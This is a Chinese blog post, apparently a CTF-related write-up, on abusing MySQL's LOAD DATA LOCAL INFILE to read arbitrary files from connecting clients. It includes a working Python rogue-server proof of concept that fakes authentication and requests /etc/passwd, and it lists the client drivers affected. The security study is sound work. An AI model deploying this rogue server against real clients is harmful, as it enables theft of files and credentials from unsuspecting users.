load data infile造成的任意文件读取

April 23, 2019 WEB安全 访问: 34 次

DDCTF中一道web题设计到了这个知识点

知识前提

在mysql中,读取一个文件中的内容并将其内容存到表中,SQL语句如下

load data infile '/etc/passwd' into table test\_load\_file;
load data local infile '/etc/passwd' into table test\_load\_file;

这两句虽然都是读取文件并存到表中的,但是是有一定的区别的,按照我的理解是,第一句SQL是讲mysql服务所在的机器上的文件存到数据库中,而第二句是讲连接mysql的机器上的文件存入到mysql中

测试

环境

  • 本机 deepin 15.8 (充当服务器,IP:192.168.10.198)
  • kali (充当客户端,IP:192.168.10.114)

我们首先用tcpdump来抓取3306的数据包

然后在kali上通过远程连接服务器上的mysql,(该机器上/var/html/www/1.txt预先有内容)

然后用wireshark打开我们刚刚抓取3306端口的数据包(这里我只抓取了执行load data local infile 的数据包)

  • 首先 客户端请求了一句SQL语句

  • 然后服务器想客户端返回了一个所要请求的文件path

  • 然后客户端向服务器发送了path文件的内容

    可以发现这个文件的内容就是客户端机器上的文件

漏洞实现

正常情况下,这个流程是没有什么问题的,但是如果我们伪造一个服务器端,然后想客户端回复一个我们想要获取的文件,那么就达到了任意文件读取的目的

不是说客户端必须执行load data local infile才能触发漏洞,伪造的服务器端可以在任何时候回复一个file-transfer请求,但是有一点是必须的,客户端必须具有client_local_files属性,开启这个属性的方法可以在mysql连接的时候加上"--enable-local-infile"参数,或者设置local_infile全局变量为ON

伪造服务端

在官方文档中已经给出来当执行load data local SQL语句时具体的传输的数据

Example

0c 00 00 01 fb 2f 65 74    63 2f 70 61 73 73 77 64    ...../etc/passwd

0x0c是数据包的长度(从0xfb开始计算),000001表示数据包的序号,0xfb代表数据包的类型,接着后面是要读取的文件名字

greeting数据包

在官方文档中也有,但是不好伪造,我们可以直接从刚刚抓取到的数据保重拷贝一份就好了

POC

POC来源

#coding: utf8
import socket
# linux :
filestring = "/etc/passwd"
# windows:
#filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3307
BUFFER_SIZE = 1024
#1 Greeting
greeting = "\x4c\x00\x00\x00\x0a\x35\x2e\x36\x2e\x33\x30\x2d\x31\x00\x06\x00\x00\x00\x39\x40\x74\x4a\x52\x3d\x78\x67\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7c\x59\x28\x57\x61\x63\x4b\x30\x49\x61\x2e\x5c\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
#3 Payload
#数据包长度
payloadlen = "\x0c"
padding = "\x00\x00"
payload = payloadlen + padding +  "\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
while True:
    conn, addr = s.accept()
    print 'Connection from:', addr
    conn.send(greeting)
    while True:
        data = conn.recv(BUFFER_SIZE)
        print " ".join("%02x" % ord(i) for i in data)
        conn.send(authok)
        data = conn.recv(BUFFER_SIZE)
        conn.send(payload)
        print "[*] Payload send!"
        data = conn.recv(BUFFER_SIZE)
        if not data: break
        print "Data received:", data
        break
    # Don't leave the connection open.
    conn.close()

首先读取/etc/passwd,看看是否能成功

发现确实成功的读取了
再来测试一下读取/var/www/html/1.txt文件

成功读取

Python with MySQLdb

import MySQLdb
db = MySQLdb.connect("192.168.10.198","root","sadsd","test",port=3307);

还适用于PHP with mysqli、 PHP with PDO、Python with MySQLdb、Python3 with mysqlclient、Java with JDBC Driver

参考文献

不发光的博客
Smi1e

添加新评论